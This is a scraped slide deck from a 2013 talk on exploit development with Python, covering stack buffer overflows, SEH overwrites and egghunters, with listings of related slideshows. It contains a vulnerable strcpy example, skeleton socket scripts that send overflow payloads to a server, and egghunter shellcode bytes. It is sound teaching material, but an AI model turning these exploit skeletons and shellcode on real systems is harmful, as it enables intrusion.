SlideShare a Scribd company logo
EXPLOIT
DEVELOPMENT
WITH PYTHON
Tom Gregory
id:python Gathering
27 April 2013
AGENDA
 Memory
 Stack/Buffer Overflow
 Structured Exception Handler (SEH)
 Escape from small space
 Egghunter
 Demo
Args./Environment
Stack
Unused Memory
Heap (dynamic data)
Static Data .data
Program Code .text
PROCESS MEMORY LAYOUT
High addresses
Top of memory
0xFFFFFFFF
Low addresses
0x00000000
Stack grows down by
procedures call
Heap grows up e.g. by
malloc and new
STACK BUFFER OVERFLOW
#include <string.h>
void foo (char *bar)
{
char c[12];
strcpy(c, bar); // no bounds checking...
}
int main (int argc, char **argv)
{
foo(argv[1]);
}
STACK BUFFER OVERFLOW
Unallocated stack
char c[12]
char *bar
Saved frame
pointer
(EBP)
Return Address
(EIP)
Parent routine’s
stack
Memory addressStack growth
STACK BUFFER OVERFLOW
Unallocated stack
char c[12]
char *bar
Saved frame
pointer
(EBP)
Return Address
(EIP)
Parent routine’s
stack
Memory addressStack growth
h e l l
0o
STACK BUFFER OVERFLOW
Unallocated stack
Memory addressStack growth
A A A A
A A A A
A A A A
A A A A
A A A A
A A A A
A A A A
x08 x35 xc0 x80
Fill the stack with ‘A’
Overwritten return address
at 0x80c03508
Parent routine’s
stack
Little
Endian
0x80c03508
WHAT IS SEH?
This structure ( also called a SEH record) is 8 bytes and has 2 (4
bytes each) elements :
 a pointer to the next exception_registration structure (in essence,
to the next SEH record, in case the current handler is unable the
handle the exception)
 a pointer, the address of the actual code of the exception handler.
(SE Handler)
WHAT IS SEH?
Image was taken without permission from http://images.google.com
LOOK AT THE SEH STRUCTURE
Beginning of SEH chain
 SEH chain will be placed at the top of the main data block
 It also called FS:[0] chain as well (on intel: mov [reg], dword ptr
fs:[0])
End of seh chain
 Is indicated by 0xFFFFFFFF
 Will trigger improper termination to the program
HOW SEH WORKS?
Stack
TEB
FS[0]: 0012FF40 0012FF40
0012FF44
0012FFB0 : next SEH record
7C839AD8 : SE Handler
0012FFB0
0012FFB4
0012FFE0 : next SEH record
0040109A : SE Handler
0012FFE0
0012FFE4
FFFFFFFF : next SEH record
7C839AD8 : SE Handler
PROTECTIONS AGAINST SEH
XOR
 before the exception handler is called, all registers are XORed
with each other, so it will make them all point to 0x00000000
DEP & Stack Cookies
 Stack Cookies or Canary is setup via C++ compiler options
 DEP will mark the memory stack to no execute.
 It was introduced since Windows XP SP2 and Windows 2003,
enabled by default on Windows Vista and 7
 Those two protections can make it harder to build exploits.
PROTECTIONS AGAINST SEH
SafeSEH
 additional protection was added to compilers, helping to stop the
abuse of SEH overwrites.
 It will check the original value of SEH, if it overwritten, SafeSEH
will try to bring it back to the original value.
ABUSING SEH
On direct RET technique:
 Simply find an instruction to jump to the stack, done.
While on SEH Based:
 You cannot simply jump to the stack, because the registers are
XORed.
 We can take advantage this exception handling condition by
overwrite the SE Handler address.
 The OS will know the exception handling routine, and pass it to next
SEH record.
 Pointer to next SEH will bring us to the shellcode.
 Game over!
ABUSING SEH
In other words, the payload must do the following things:
 Cause an exception. Without an exception, the SEH handler (the
one you have overwritten/control) won’t kick in.
 Overwrite the pointer to the next SEH record with some jumpcode
(so it can jump to the shellcode)
 Overwrite the SE handler with a pointer to an instruction that will
bring you back to next SEH and execute the jumpcode.
 The shellcode should be directly after the overwritten SE Handler.
Some small jumpcode contained in the overwritten “pointer to
next SEH record” will jump to it).
ABUSING SEH
 When the exception occurred, the position on the stack will going like
this:
 Possible value to overwrite SE Handler are POP something, POP
something and RETN to the stack.
 It will POP address that sit at the top of the stack, POP it again to take
the second address, and RETN to execute the third address (which is
now at the top of the stack)
Top of stack
Our pointer to next SEH
address
ABUSING SEH
Image was taken from http://corelan.be
with permission from Peter van Eeckhoutte (Corelan)
ESCAPE FROM SMALL SPACE
 Use Egghunter
 “Staged shellcode”
 Use small amount of custom shellcode to find the actual “bigger”
shellcode (the egg), by searching entire memory for the final
shellcode
EGGHUNTER
 There are 3 conditions that are important in order for this
technique to work
 We must be able to jump to (jmp, call, push/ret) & execute “some” shellcode,
the egghunter.
 The final shellcode must be available somewhere in memory (stack/heap/…).
 You must “tag” or prepend the final shellcode with a unique string/marker/tag.
This means that we will have to define the marker in the egg hunter code, and
also write it just in front of the actual shellcode.
ENOUGH TALKING!
1ST SKELETON EXPLOIT: CRASH IT!
#!/usr/bin/python
from socket import *
junk = "x41" * 10000
s = socket(AF_INET, SOCK_STREAM)
s.connect((‘x.x.x.x’,8000))
print "[+] Launching attack..”
s.send ("GET /" + payload + "HTTP/1.0rnrnrn")
s.close()
2ND SKELETON EXPLOIT: EIP
OVERWRITE
#!/usr/bin/python
from socket import *
junk = [random data generated from msf]
s = socket(AF_INET, SOCK_STREAM)
s.connect((‘x.x.x.x’,8000))
print "[+] Launching attack..”
s.send ("GET /" + payload + "HTTP/1.0rnrnrn")
s.close()
3RD SKELETON EXPLOIT: SMALL
SPACE
 Egghunter
x66x81xcaxffx0fx42x52x6a
x02x58xcdx2ex3cx05x5ax74
xefxb8x77x30x30x74x8bxfa
xafx75xeaxafx75xe7xffxe7
4TH FINAL EXPLOIT
 Exploit DB
 http://www.exploit-db.com/exploits/19266/
 Metasploit
 http://www.exploit-db.com/exploits/19291/
 http://www.metasploit.com/modules/exploit/windows/http/ezserver_http
EOF
tom@spentera.com
Ad

Recommended

Internet of Things, TYBSC IT, Semester 5, Unit V
Internet of Things, TYBSC IT, Semester 5, Unit V
Arti Parab Academics
 
TUGAS JARINGAN KOMPUTER
TUGAS JARINGAN KOMPUTER
Wj Nak Bacem
 
Desain Jaringan Gedung
Desain Jaringan Gedung
Julio Mukhlishin
 
7
7
Szymon Konkol - Publikacje Cyfrowe
 
Proyecto de un Sistema Experto para un Entrenador Deportivo
Proyecto de un Sistema Experto para un Entrenador Deportivo
Jorge David Calderon Valderrama
 
Spesifikasi server
Spesifikasi server
Julio Mukhlishin
 
Security Best Practice: Oracle passwords, but secure!
Security Best Practice: Oracle passwords, but secure!
Stefan Oehrli
 
Rancangan Data Center Untuk 3 Gedung Masing-Masing Gedung 4 Lantai
Rancangan Data Center Untuk 3 Gedung Masing-Masing Gedung 4 Lantai
Fanny Oktaviarti
 
Modul Training Membangun Sistem Lab From Home (LFH)
Modul Training Membangun Sistem Lab From Home (LFH)
I Putu Hariyadi
 
Pelatihan Interkoneksi Jaringan OPD PEMKOT Mataram menggunakan VPN
Pelatihan Interkoneksi Jaringan OPD PEMKOT Mataram menggunakan VPN
I Putu Hariyadi
 
Internet of Things, TYBSC IT, Semester 5, Unit III
Internet of Things, TYBSC IT, Semester 5, Unit III
Arti Parab Academics
 
Dokumentacja techniczna stanowiska komputerowego
Dokumentacja techniczna stanowiska komputerowego
Szymon Konkol - Publikacje Cyfrowe
 
Pembahasan Soal Modul A: Linux Island - LKS SMK Provinsi NTB 2017
Pembahasan Soal Modul A: Linux Island - LKS SMK Provinsi NTB 2017
I Putu Hariyadi
 
Analisis bahasa bima
Analisis bahasa bima
asadmuhammad123
 
Wyposażenie stanowiska do naprawy komputera osobistego
Wyposażenie stanowiska do naprawy komputera osobistego
Szymon Konkol - Publikacje Cyfrowe
 
İleri Seviye T-SQL Programlama - Chapter 21
İleri Seviye T-SQL Programlama - Chapter 21
Cihan Özhan
 
Projektowanie stanowiska komputerowego
Projektowanie stanowiska komputerowego
Szymon Konkol - Publikacje Cyfrowe
 
Instalacja sterowników urządzeń peryferyjnych
Instalacja sterowników urządzeń peryferyjnych
Szymon Konkol - Publikacje Cyfrowe
 
Materi ajar browser
Materi ajar browser
Gemi Siksmat
 
Konfiguracja urządzeń peryferyjnych
Konfiguracja urządzeń peryferyjnych
Szymon Konkol - Publikacje Cyfrowe
 
Presentasi perakitan komputer
Presentasi perakitan komputer
Mphit Sipit Semphit
 
Pamięć wirtualna oraz pamięć cache
Pamięć wirtualna oraz pamięć cache
Borek12345
 
Organizacja stanowiska komputerowego według projektu
Organizacja stanowiska komputerowego według projektu
Szymon Konkol - Publikacje Cyfrowe
 
Abusing SEH For Fun
Abusing SEH For Fun
Digital Echidna
 
Structured Exception Handler Exploitation
Structured Exception Handler Exploitation
High-Tech Bridge SA (HTBridge)
 
Seh based exploitation
Seh based exploitation
Raghunath G
 
Riding the Overflow - Then and Now
Riding the Overflow - Then and Now
Miroslav Stampar
 
From SEH Overwrite with Egg Hunter to Get a Shell!
From SEH Overwrite with Egg Hunter to Get a Shell!
Rodolpho Concurde
 
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
Rodolpho Concurde
 
SEH overwrite and its exploitability
SEH overwrite and its exploitability
FFRI, Inc.
 

More Related Content

What's hot (15)

Modul Training Membangun Sistem Lab From Home (LFH)
Modul Training Membangun Sistem Lab From Home (LFH)
I Putu Hariyadi
 
Pelatihan Interkoneksi Jaringan OPD PEMKOT Mataram menggunakan VPN
Pelatihan Interkoneksi Jaringan OPD PEMKOT Mataram menggunakan VPN
I Putu Hariyadi
 
Internet of Things, TYBSC IT, Semester 5, Unit III
Internet of Things, TYBSC IT, Semester 5, Unit III
Arti Parab Academics
 
Dokumentacja techniczna stanowiska komputerowego
Dokumentacja techniczna stanowiska komputerowego
Szymon Konkol - Publikacje Cyfrowe
 
Pembahasan Soal Modul A: Linux Island - LKS SMK Provinsi NTB 2017
Pembahasan Soal Modul A: Linux Island - LKS SMK Provinsi NTB 2017
I Putu Hariyadi
 
Analisis bahasa bima
Analisis bahasa bima
asadmuhammad123
 
Wyposażenie stanowiska do naprawy komputera osobistego
Wyposażenie stanowiska do naprawy komputera osobistego
Szymon Konkol - Publikacje Cyfrowe
 
İleri Seviye T-SQL Programlama - Chapter 21
İleri Seviye T-SQL Programlama - Chapter 21
Cihan Özhan
 
Projektowanie stanowiska komputerowego
Projektowanie stanowiska komputerowego
Szymon Konkol - Publikacje Cyfrowe
 
Instalacja sterowników urządzeń peryferyjnych
Instalacja sterowników urządzeń peryferyjnych
Szymon Konkol - Publikacje Cyfrowe
 
Materi ajar browser
Materi ajar browser
Gemi Siksmat
 
Konfiguracja urządzeń peryferyjnych
Konfiguracja urządzeń peryferyjnych
Szymon Konkol - Publikacje Cyfrowe
 
Presentasi perakitan komputer
Presentasi perakitan komputer
Mphit Sipit Semphit
 
Pamięć wirtualna oraz pamięć cache
Pamięć wirtualna oraz pamięć cache
Borek12345
 
Organizacja stanowiska komputerowego według projektu
Organizacja stanowiska komputerowego według projektu
Szymon Konkol - Publikacje Cyfrowe
 
Modul Training Membangun Sistem Lab From Home (LFH)
Modul Training Membangun Sistem Lab From Home (LFH)
I Putu Hariyadi
 
Pelatihan Interkoneksi Jaringan OPD PEMKOT Mataram menggunakan VPN
Pelatihan Interkoneksi Jaringan OPD PEMKOT Mataram menggunakan VPN
I Putu Hariyadi
 
Internet of Things, TYBSC IT, Semester 5, Unit III
Internet of Things, TYBSC IT, Semester 5, Unit III
Arti Parab Academics
 
Pembahasan Soal Modul A: Linux Island - LKS SMK Provinsi NTB 2017
Pembahasan Soal Modul A: Linux Island - LKS SMK Provinsi NTB 2017
I Putu Hariyadi
 
İleri Seviye T-SQL Programlama - Chapter 21
İleri Seviye T-SQL Programlama - Chapter 21
Cihan Özhan
 
Materi ajar browser
Materi ajar browser
Gemi Siksmat
 
Pamięć wirtualna oraz pamięć cache
Pamięć wirtualna oraz pamięć cache
Borek12345
 

Similar to Exploit Development with Python (20)

Abusing SEH For Fun
Abusing SEH For Fun
Digital Echidna
 
Structured Exception Handler Exploitation
Structured Exception Handler Exploitation
High-Tech Bridge SA (HTBridge)
 
Seh based exploitation
Seh based exploitation
Raghunath G
 
Riding the Overflow - Then and Now
Riding the Overflow - Then and Now
Miroslav Stampar
 
From SEH Overwrite with Egg Hunter to Get a Shell!
From SEH Overwrite with Egg Hunter to Get a Shell!
Rodolpho Concurde
 
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
Rodolpho Concurde
 
SEH overwrite and its exploitability
SEH overwrite and its exploitability
FFRI, Inc.
 
CNIT 127: Ch 8: Windows overflows (Part 1)
CNIT 127: Ch 8: Windows overflows (Part 1)
Sam Bowne
 
SEH based buffer overflow vulnerability exploitation
SEH based buffer overflow vulnerability exploitation
Payampardaz
 
CNIT 127 Ch 8: Windows overflows (Part 1)
CNIT 127 Ch 8: Windows overflows (Part 1)
Sam Bowne
 
Low Level Exploits
Low Level Exploits
hughpearse
 
Seh based attack
Seh based attack
Mihir Shah
 
Riding the Overflow - Then and Now
Riding the Overflow - Then and Now
Miroslav Stampar
 
Smashing the Buffer
Smashing the Buffer
Miroslav Stampar
 
CyberLink LabelPrint 2.5 Exploitation Process
CyberLink LabelPrint 2.5 Exploitation Process
Thomas Gregory
 
Software to the slaughter
Software to the slaughter
Quinn Wilton
 
Reversing malware analysis training part11 exploit development advanced
Reversing malware analysis training part11 exploit development advanced
Cysinfo Cyber Security Community
 
[ENG] Hacktivity 2013 - Alice in eXploitland
[ENG] Hacktivity 2013 - Alice in eXploitland
Zoltan Balazs
 
CNIT 127: Ch 8: Windows overflows (Part 2)
CNIT 127: Ch 8: Windows overflows (Part 2)
Sam Bowne
 
Post-mortem Debugging of Windows Applications
Post-mortem Debugging of Windows Applications
GlobalLogic Ukraine
 
Seh based exploitation
Seh based exploitation
Raghunath G
 
Riding the Overflow - Then and Now
Riding the Overflow - Then and Now
Miroslav Stampar
 
From SEH Overwrite with Egg Hunter to Get a Shell!
From SEH Overwrite with Egg Hunter to Get a Shell!
Rodolpho Concurde
 
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
Rodolpho Concurde
 
SEH overwrite and its exploitability
SEH overwrite and its exploitability
FFRI, Inc.
 
CNIT 127: Ch 8: Windows overflows (Part 1)
CNIT 127: Ch 8: Windows overflows (Part 1)
Sam Bowne
 
SEH based buffer overflow vulnerability exploitation
SEH based buffer overflow vulnerability exploitation
Payampardaz
 
CNIT 127 Ch 8: Windows overflows (Part 1)
CNIT 127 Ch 8: Windows overflows (Part 1)
Sam Bowne
 
Low Level Exploits
Low Level Exploits
hughpearse
 
Seh based attack
Seh based attack
Mihir Shah
 
Riding the Overflow - Then and Now
Riding the Overflow - Then and Now
Miroslav Stampar
 
CyberLink LabelPrint 2.5 Exploitation Process
CyberLink LabelPrint 2.5 Exploitation Process
Thomas Gregory
 
Software to the slaughter
Software to the slaughter
Quinn Wilton
 
Reversing malware analysis training part11 exploit development advanced
Reversing malware analysis training part11 exploit development advanced
Cysinfo Cyber Security Community
 
[ENG] Hacktivity 2013 - Alice in eXploitland
[ENG] Hacktivity 2013 - Alice in eXploitland
Zoltan Balazs
 
CNIT 127: Ch 8: Windows overflows (Part 2)
CNIT 127: Ch 8: Windows overflows (Part 2)
Sam Bowne
 
Post-mortem Debugging of Windows Applications
Post-mortem Debugging of Windows Applications
GlobalLogic Ukraine
 
Ad

Recently uploaded (20)

FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Alliance
 
SAP Modernization Strategies for a Successful S/4HANA Journey.pdf
SAP Modernization Strategies for a Successful S/4HANA Journey.pdf
Precisely
 
Reducing Conflicts and Increasing Safety Along the Cycling Networks of East-F...
Reducing Conflicts and Increasing Safety Along the Cycling Networks of East-F...
Safe Software
 
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
 
Bridging the divide: A conversation on tariffs today in the book industry - T...
Bridging the divide: A conversation on tariffs today in the book industry - T...
BookNet Canada
 
Mastering AI Workflows with FME - Peak of Data & AI 2025
Mastering AI Workflows with FME - Peak of Data & AI 2025
Safe Software
 
Down the Rabbit Hole – Solving 5 Training Roadblocks
Down the Rabbit Hole – Solving 5 Training Roadblocks
Rustici Software
 
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance
 
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC
 
The State of Web3 Industry- Industry Report
The State of Web3 Industry- Industry Report
Liveplex
 
“Key Requirements to Successfully Implement Generative AI in Edge Devices—Opt...
“Key Requirements to Successfully Implement Generative AI in Edge Devices—Opt...
Edge AI and Vision Alliance
 
Viral>Wondershare Filmora 14.5.18.12900 Crack Free Download
Viral>Wondershare Filmora 14.5.18.12900 Crack Free Download
Puppy jhon
 
June Patch Tuesday
June Patch Tuesday
Ivanti
 
OWASP Barcelona 2025 Threat Model Library
OWASP Barcelona 2025 Threat Model Library
PetraVukmirovic
 
Kubernetes Security Act Now Before It’s Too Late
Kubernetes Security Act Now Before It’s Too Late
Michael Furman
 
“Addressing Evolving AI Model Challenges Through Memory and Storage,” a Prese...
“Addressing Evolving AI Model Challenges Through Memory and Storage,” a Prese...
Edge AI and Vision Alliance
 
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
caoyixuan2019
 
Enabling BIM / GIS integrations with Other Systems with FME
Enabling BIM / GIS integrations with Other Systems with FME
Safe Software
 
AI VIDEO MAGAZINE - June 2025 - r/aivideo
AI VIDEO MAGAZINE - June 2025 - r/aivideo
1pcity Studios, Inc
 
“Why It’s Critical to Have an Integrated Development Methodology for Edge AI,...
“Why It’s Critical to Have an Integrated Development Methodology for Edge AI,...
Edge AI and Vision Alliance
 
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Alliance
 
SAP Modernization Strategies for a Successful S/4HANA Journey.pdf
SAP Modernization Strategies for a Successful S/4HANA Journey.pdf
Precisely
 
Reducing Conflicts and Increasing Safety Along the Cycling Networks of East-F...
Reducing Conflicts and Increasing Safety Along the Cycling Networks of East-F...
Safe Software
 
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
 
Bridging the divide: A conversation on tariffs today in the book industry - T...
Bridging the divide: A conversation on tariffs today in the book industry - T...
BookNet Canada
 
Mastering AI Workflows with FME - Peak of Data & AI 2025
Mastering AI Workflows with FME - Peak of Data & AI 2025
Safe Software
 
Down the Rabbit Hole – Solving 5 Training Roadblocks
Down the Rabbit Hole – Solving 5 Training Roadblocks
Rustici Software
 
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance
 
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC
 
The State of Web3 Industry- Industry Report
The State of Web3 Industry- Industry Report
Liveplex
 
“Key Requirements to Successfully Implement Generative AI in Edge Devices—Opt...
“Key Requirements to Successfully Implement Generative AI in Edge Devices—Opt...
Edge AI and Vision Alliance
 
Viral>Wondershare Filmora 14.5.18.12900 Crack Free Download
Viral>Wondershare Filmora 14.5.18.12900 Crack Free Download
Puppy jhon
 
June Patch Tuesday
June Patch Tuesday
Ivanti
 
OWASP Barcelona 2025 Threat Model Library
OWASP Barcelona 2025 Threat Model Library
PetraVukmirovic
 
Kubernetes Security Act Now Before It’s Too Late
Kubernetes Security Act Now Before It’s Too Late
Michael Furman
 
“Addressing Evolving AI Model Challenges Through Memory and Storage,” a Prese...
“Addressing Evolving AI Model Challenges Through Memory and Storage,” a Prese...
Edge AI and Vision Alliance
 
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
caoyixuan2019
 
Enabling BIM / GIS integrations with Other Systems with FME
Enabling BIM / GIS integrations with Other Systems with FME
Safe Software
 
AI VIDEO MAGAZINE - June 2025 - r/aivideo
AI VIDEO MAGAZINE - June 2025 - r/aivideo
1pcity Studios, Inc
 
“Why It’s Critical to Have an Integrated Development Methodology for Edge AI,...
“Why It’s Critical to Have an Integrated Development Methodology for Edge AI,...
Edge AI and Vision Alliance
 
Ad

Exploit Development with Python

  • 2. AGENDA  Memory  Stack/Buffer Overflow  Structured Exception Handler (SEH)  Escape from small space  Egghunter  Demo
  • 3. Args./Environment Stack Unused Memory Heap (dynamic data) Static Data .data Program Code .text PROCESS MEMORY LAYOUT High addresses Top of memory 0xFFFFFFFF Low addresses 0x00000000 Stack grows down by procedures call Heap grows up e.g. by malloc and new
  • 4. STACK BUFFER OVERFLOW #include <string.h> void foo (char *bar) { char c[12]; strcpy(c, bar); // no bounds checking... } int main (int argc, char **argv) { foo(argv[1]); }
  • 5. STACK BUFFER OVERFLOW Unallocated stack char c[12] char *bar Saved frame pointer (EBP) Return Address (EIP) Parent routine’s stack Memory addressStack growth
  • 6. STACK BUFFER OVERFLOW Unallocated stack char c[12] char *bar Saved frame pointer (EBP) Return Address (EIP) Parent routine’s stack Memory addressStack growth h e l l 0o
  • 7. STACK BUFFER OVERFLOW Unallocated stack Memory addressStack growth A A A A A A A A A A A A A A A A A A A A A A A A A A A A x08 x35 xc0 x80 Fill the stack with ‘A’ Overwritten return address at 0x80c03508 Parent routine’s stack Little Endian 0x80c03508
  • 8. WHAT IS SEH? This structure ( also called a SEH record) is 8 bytes and has 2 (4 bytes each) elements :  a pointer to the next exception_registration structure (in essence, to the next SEH record, in case the current handler is unable the handle the exception)  a pointer, the address of the actual code of the exception handler. (SE Handler)
  • 9. WHAT IS SEH? Image was taken without permission from http://images.google.com
  • 10. LOOK AT THE SEH STRUCTURE Beginning of SEH chain  SEH chain will be placed at the top of the main data block  It also called FS:[0] chain as well (on intel: mov [reg], dword ptr fs:[0]) End of seh chain  Is indicated by 0xFFFFFFFF  Will trigger improper termination to the program
  • 11. HOW SEH WORKS? Stack TEB FS[0]: 0012FF40 0012FF40 0012FF44 0012FFB0 : next SEH record 7C839AD8 : SE Handler 0012FFB0 0012FFB4 0012FFE0 : next SEH record 0040109A : SE Handler 0012FFE0 0012FFE4 FFFFFFFF : next SEH record 7C839AD8 : SE Handler
  • 12. PROTECTIONS AGAINST SEH XOR  before the exception handler is called, all registers are XORed with each other, so it will make them all point to 0x00000000 DEP & Stack Cookies  Stack Cookies or Canary is setup via C++ compiler options  DEP will mark the memory stack to no execute.  It was introduced since Windows XP SP2 and Windows 2003, enabled by default on Windows Vista and 7  Those two protections can make it harder to build exploits.
  • 13. PROTECTIONS AGAINST SEH SafeSEH  additional protection was added to compilers, helping to stop the abuse of SEH overwrites.  It will check the original value of SEH, if it overwritten, SafeSEH will try to bring it back to the original value.
  • 14. ABUSING SEH On direct RET technique:  Simply find an instruction to jump to the stack, done. While on SEH Based:  You cannot simply jump to the stack, because the registers are XORed.  We can take advantage this exception handling condition by overwrite the SE Handler address.  The OS will know the exception handling routine, and pass it to next SEH record.  Pointer to next SEH will bring us to the shellcode.  Game over!
  • 15. ABUSING SEH In other words, the payload must do the following things:  Cause an exception. Without an exception, the SEH handler (the one you have overwritten/control) won’t kick in.  Overwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode)  Overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode.  The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten “pointer to next SEH record” will jump to it).
  • 16. ABUSING SEH  When the exception occurred, the position on the stack will going like this:  Possible value to overwrite SE Handler are POP something, POP something and RETN to the stack.  It will POP address that sit at the top of the stack, POP it again to take the second address, and RETN to execute the third address (which is now at the top of the stack) Top of stack Our pointer to next SEH address
  • 17. ABUSING SEH Image was taken from http://corelan.be with permission from Peter van Eeckhoutte (Corelan)
  • 18. ESCAPE FROM SMALL SPACE  Use Egghunter  “Staged shellcode”  Use small amount of custom shellcode to find the actual “bigger” shellcode (the egg), by searching entire memory for the final shellcode
  • 19. EGGHUNTER  There are 3 conditions that are important in order for this technique to work  We must be able to jump to (jmp, call, push/ret) & execute “some” shellcode, the egghunter.  The final shellcode must be available somewhere in memory (stack/heap/…).  You must “tag” or prepend the final shellcode with a unique string/marker/tag. This means that we will have to define the marker in the egg hunter code, and also write it just in front of the actual shellcode.
  • 21. 1ST SKELETON EXPLOIT: CRASH IT! #!/usr/bin/python from socket import * junk = "x41" * 10000 s = socket(AF_INET, SOCK_STREAM) s.connect((‘x.x.x.x’,8000)) print "[+] Launching attack..” s.send ("GET /" + payload + "HTTP/1.0rnrnrn") s.close()
  • 22. 2ND SKELETON EXPLOIT: EIP OVERWRITE #!/usr/bin/python from socket import * junk = [random data generated from msf] s = socket(AF_INET, SOCK_STREAM) s.connect((‘x.x.x.x’,8000)) print "[+] Launching attack..” s.send ("GET /" + payload + "HTTP/1.0rnrnrn") s.close()
  • 23. 3RD SKELETON EXPLOIT: SMALL SPACE  Egghunter x66x81xcaxffx0fx42x52x6a x02x58xcdx2ex3cx05x5ax74 xefxb8x77x30x30x74x8bxfa xafx75xeaxafx75xe7xffxe7
  • 24. 4TH FINAL EXPLOIT  Exploit DB  http://www.exploit-db.com/exploits/19266/  Metasploit  http://www.exploit-db.com/exploits/19291/  http://www.metasploit.com/modules/exploit/windows/http/ezserver_http

Editor's Notes

  • #6: Stack is used for function calls There are 2 Registers on the CPU associated with stack, EBP and ESP. ESP points to the top of the stack, whereas EBP points to the beginning of the current frame When a function is called, arguments, EIP and EBP pushed onto stack EBP is set to ESP, and ESP is decremented to make space for the functions local variable